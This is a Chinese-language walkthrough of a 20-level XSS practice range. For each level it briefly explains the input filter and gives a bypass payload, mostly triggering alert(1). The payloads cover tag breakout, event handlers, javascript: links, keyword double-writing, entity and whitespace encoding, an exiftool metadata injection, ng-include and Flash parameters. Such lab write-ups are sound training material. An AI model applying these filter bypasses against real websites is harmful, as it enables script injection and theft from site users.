'XSS挑战之旅'

所使用靶场

地址http://test.ctf8.com/
源码链接:https://pan.baidu.com/s/1I54ZBYOHujP2WZdtcjNfGw
提取码:xqbh

level 1

这关用户名是可控的,我们查看源代码,闭合h2标签

1
</h2><script>alert(1)</script>

level 2

这关也一样,通过查看源代码,闭合标签

1
"><script>alert(1)<%2Fscript><"

level 3

查看页面源码闭合语句,发现没通过,再次查看源代码,发现左右尖括号被编码,我们利用onclick点击事件,被点击时,执行JS代码

1
' onclick='alert(1)'

level 4

这关和上一关一样,不过替换了单引号,利用双引号进行闭合

1
" onclick="alert(1)"

level 5

这关会把on进行分离o_n,双引号进行编码,script进行分离scr_ipt,并且全部小写
我们用a标签和href写个链接出来,点击链接触发XSS

1
123456"> <a href=javascript:alert(1) >XSS</a>

level 6

这关herf进行分离he_rf,其他和第五关一样,不过少了大小写转换

1
2
"><ScRipt>alert("xss")</script>
"><a HREF=" javascript:alert(1)"

level 7

这关把script等关键字替换为空,我们双写即可绕过

1
2
"><scrscriptipt>alert("xss")</scrscriptipt>
1" oonnclick=alert(1)//

level 8

这关直接有个a标签herf,不过script会替换成scr_ipt,可以用%09换行掉_下划线,也可以实体编码,(注意使用第一句代码%09替换时输入到url中,不然%09无法解析)
在线编解码网站http://www.ofmonkey.com/encode/html

1
2
javascr%09ipt:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level 9

这关检测了友链的合法性,http://

1
2
javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');

level 10

keyword 过滤较严格。但是有三个隐藏参数t_link, t_history,t_sort,都手动加上:?keyword=&t_link=“&t_history=”&t_sort="
发现只有 t_sort 有输出:

1
&t_sort=" type="text" onclick="alert(1)

level 11

这关t_ref这个值就是http请求中的referer,所以抓包改包



level 12

这关通过查看源代码,t_ua是user-Agent头,再次抓包改包,和上一关一样,就不截图了(懒)

level 13

这关变成了cookie,抓包改包

level 14

exif 题目失效,图片加载不出来
与exif有关的博客: http://blog.sina.com.cn/s/blog_722cb9a90102wl2c.html
漏洞成因:chrome插件exif viewer获取图片exif信息时没有进行过滤,导致xss代码执行。

exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:

1
2
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg

level 15

这关用了ng-include函数类似于PHP中的文件包含include(),所以我们包含第一关就好了
不知道为啥火狐包含不过去,用了谷歌就好了。。。。

1
src='level1.php?name=<img src=x onerror=alert(1)>'

level 16

这关通过查看源码发现,大小写绕过失效,script、/、空格等都被转换成&nbsp,这时,可以尝试使用%0a,%0d来进行绕过

1
keyword=<img%0Asrc=1%0Aonerror=alert(1)>

level 17

embed标签可以引入swf文件,我们加个鼠标移动事件就可以了,搞不懂火狐,又没反应

1
arg01=a&arg02=b%20onmouseover=alert(1)

level 18

和上一关一样

level 19

flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数
工具地址 https://github.com/jindrapetrik/jpexs-decompiler

然后追踪到sIFR的内容

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数

所以我们可以构造a标签来传值

1
arg01=version&arg02=<a href="javascript:alert(1)">123</a>

level 20

最后这关没搞懂,验证一下代码

1
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height


参考链接https://www.jianshu.com/p/4e3a517bc4ea